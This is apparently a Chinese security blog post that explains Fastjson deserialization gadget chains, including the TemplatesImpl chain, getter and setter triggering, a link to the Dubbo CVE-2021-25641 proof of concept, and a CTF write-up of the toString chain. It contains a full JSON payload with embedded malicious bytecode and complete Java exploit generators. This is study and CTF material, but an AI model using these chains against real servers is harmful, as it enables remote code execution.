March 2, 2023

FastJson反序列化漏洞

Fastjson之任意get、set调用

get、set

在这以TemplatesImpl链来讲:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Demo {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAOwoACQAqCgArACwIAC0KACsALgcALwcAMAoABgAxBwAyBwAzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2V4YW1wbGUvZmFzdGpzb25fdG9zdHJpbmcvZXZpbGNsYXNzOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAC8BAApTb3VyY2VGaWxlAQAOZXZpbGNsYXNzLmphdmEMAAoACwcANQwANgA3AQAEY2FsYwwAOAA5AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADoBACdjb20vZXhhbXBsZS9mYXN0anNvbl90b3N0cmluZy9ldmlsY2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAACQARABIAAgAMAAAAKwAAAAEAAAABsQAAAAIADQAAAAYAAQAAABYADgAAAAwAAQAAAAEAEwAUAAAAFQAAAAUBABMAAAABABYAFwADAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAGwAOAAAAIAADAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQAVAAAACQIAGAAAABoAAAABABYAHgADAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAIAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0AFQAAAA0DABgAAAAfAAAAIQAAAAgAIwALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAkACUAAAAmAAAABwACTAcAJwkAAQAoAAAAAgAp\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
//因为bytescodes等属性私有,需要加Feature.SupportNonPublicField
}
}

其中的字节码base64加密过了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.fastjson_tostring;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

public class Demo {
public static void main(String[] args) {
byte[] buffer = null;
String filepath = "C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = ((Base64.Encoder) encoder).encodeToString(buffer);
System.out.println(value);

}
}

在这里FastJson的版本为1.24,高了的话有waf,但也可以绕过,参考下P的文章
断点给在JSON.parseObject
image.png
实际上也是调用了parse方法,做了一层强转封装,继续跟进:
image.png
还是进了parse,继续跟:
image.png
还是一个parse,从这里可以发现parseObject方法实际就是parse的封装,这里的parser是DeafaultJsonParser
image.png
继续跟进:
image.png
因为token是12所以进入了case12,调用了this.parseObject,在该方法中将key提取出:
image.png
然后加载恶意类:
image.png
跟进loadClass,这里就是将恶意class放入mapping中
image.png
然后回到DeafaultJsonParser,调用getDeserializer将恶意类进行JSON反序列化:
image.png
然后跟进该方法,到了PaserConfig类,调用了该类的getDeserialzier:
image.png
在里面创建了个JavaBeanDeserializer:
image.png
在这个方法中调用了JavaBeanDeserializer的构造方法:
image.png
进入了JavaBean.build方法中:
image.png
在这里面寻找get和set方法:
image.png
image.pngimage.png
可以看到调用了getOutputProperties,接下来就是一个TemplatesImpl字节码加载了

get

准备一个pojo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example.fastjson_tostring;

public class User {
private String name;
private String address;

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}

1
2
3
4
5
6
7
8
9
10
11
package com.example.fastjson_tostring;

import com.alibaba.fastjson.JSON;

public class getdemo {
public static void main(String[] args) {
User user=new User();
String JSON_Serialize = JSON.toJSONString(user);
System.out.println(JSON_Serialize);
}
}

直接运行会发现:
image.png
调用了get方法,断点分析一下:
image.png
还是调用toJSONString,继续跟进:
image.png
依然是一个toJSONString,和上面很像是一层层封装:
image.png
最后在该toJSONString方法中调用了serializer.write方法:
image.png
调用writer.write方法,这里的writer是ASMSerializer_User,一个和User有关的类,继续跟进:
image.png
就到了getName方法了,这里的逻辑无法查看QWQ,ASMSerializer_User调试看不到,只要知道会调就好了

set

对应的是JSON.parse方法,逻辑类似就不调试了

FastJson反序列化链

其中第一条更偏向于CC链,第二条就纯纯是JNDI注入了
https://tttang.com/archive/1579/#toc_
https://xz.aliyun.com/t/12096#toc-3

Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)

漏洞原理

Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用Hessian2序列化格式进行对象传输的,但是针对Hessian2序列化格式的对象传输可能会有黑白名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378
针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。

影响版本

POC

https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/blob/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java

原理

不调试的原因

就是你跟着文章看完了你也就大概懂了一半了,加入单纯为了学习就看看就好了

FastJson toString链

西湖论剑2023[easy_api]

分析

根据这道题来学习一下这条链,首先可以看一下这一题的主要路由
image.png
在这直接进行了一个反序列化,参数可控,但首先有几层bypass:
image.png
先要绕过这两filter,用//api/test去绕过就可以,重点不在这,题目用的是CustomObjectInputStream进行的反序列化,可以看看逻辑:
image.png
做了一层过滤,不允许我们使用java.lang.reflect.Proxy", "javax.management.BadAttributeValueExpException", "sun.rmi.server.UnicastRef", "sun.rmi.transport.LiveRef", "sun.rmi.transport.tcp.TCPEndpoint", "java.rmi.server.RemoteObject", "java.rmi.server.RemoteRef", "java.rmi.server.ObjID", "java.rmi.RemoteObjectInvocationHandler", "java.rmi.server.UnicastRemoteObject", "java.rmi.registry.Registry
这几个类,可以看到BadAttributeValueExpException被ban了,今天要讲的是触发fastjson的tostring,BadAttributeValueExpException是可以触发的,因此需要寻找替代品

POC

就不多BB了,在上面的CVE中用到了使用xstring的方法去触发toString,我们直接拿poc来调试分析一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class fj_gadget {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);

Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));

System.out.println(serial(hashMap));
String payload = "...";
// deserial(payload);

}

public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

调试流程

这里就本地直接起一个SpringBoot将主要路由逻辑拿过来就好了,就不加Filter,先引入依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

image.png
在readObject处下断点分析:
image.png
首先进入的HashMap的readObject方法,因为我们最外层就是hashmap:
image.png
然后就和URLDNS链一样到了putval函数:
image.png
在putval函数中调用了equals方法:
image.png
这里的key是一个HotSwappableTargetSource,这个类充当跳板作用,调用它的equals方法:
image.png
在调用它的target属性的equals方法,这里我们反射修改target为xstring方法了,跟进:
image.png
这里就调用了JsonObject的toString方法,这就是这篇文章的重点:
image.png
这里调用了JsonObject#toJSONString,到这儿就回到了第一P种的任意get和set触发了,这里会触发get方法,也就是TemplatesImpl的getOutputProperties
image.png
调用newTransformer,接下来就是CC3的部分了,不再赘述

无Waf的解法

如果这一题没有重写ObjectInputStream,没有禁用的话,那么除了上述解法,也能用BadAttriubutexxxx中的toString
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.example.fastjson_tostring;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jo);
System.out.println(serial(exp));

}

public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

简短的多了,传入之后成功弹出计算机:
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#FastJson#CTF